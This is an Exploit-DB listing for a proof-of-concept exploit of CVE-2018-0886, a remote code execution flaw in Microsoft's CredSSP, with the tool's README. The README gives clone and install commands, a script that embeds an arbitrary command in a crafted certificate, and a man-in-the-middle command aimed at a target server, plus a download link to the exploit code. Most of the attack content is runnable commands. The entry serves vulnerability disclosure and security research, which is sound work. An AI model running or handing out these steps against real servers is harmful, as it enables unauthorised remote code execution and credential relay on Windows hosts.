Microsoft Credential Security Support Provider - Remote Code Execution

EDB-ID:

44453

Author:

Preempt

Type:

remote

Platform:

Windows

Published:

2018-04-13

# credssp

This is a poc code for exploiting CVE-2018-0886. It should be used for educational purposes only.
It relies on a fork of the rdpy project(https://github.com/preempt/rdpy), allowing also credssp relay. 


Written by Eyal Karni, Preempt 
ekarni@preempt.com 

# Build

## Instructions (Linux)
If you are using Ubuntu 14 , check the install file.. 
It was tested on Ubuntu 16.04. 

```
$ git clone https://github.com/preempt/rdpy.git rdpy
$ git clone https://github.com/preempt/credssp.git 
$ cd credssp/install
$ sh install.sh
$ cd ../../rdpy
$ sudo python setup.py install
```

EDB Mirror: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/44453.zip

* It assumes a pretty clean inital state. Best to uninstall first relevant compontants such as cryptography,pyopenssl maybe (pip uninstall cryptography).  
* A different version of openssl needed to be installed for this to run successfully.  The install script does that. 
* Please follow the instructions in the described order. 

# Running the exploit 


Export a certificate suitable for Server Authentication from any domain.


To generate a suitable certificate for the command to execute : 

```
$ python credssp/bin/gen_cmd.py -c ExportedCert -o exploitc.pem -k exploitk.pem CMD 
```

(exploitc.pem ,exploitk.pem are the generated certificate and private key respectively)

To run the attack script: 

```
$ python /usr/local/bin/rdpy-rdpcredsspmitm.py -k exploitk.pem -c exploitc.pem TargetServer
```

More details are in the usage section of the scripts(--help).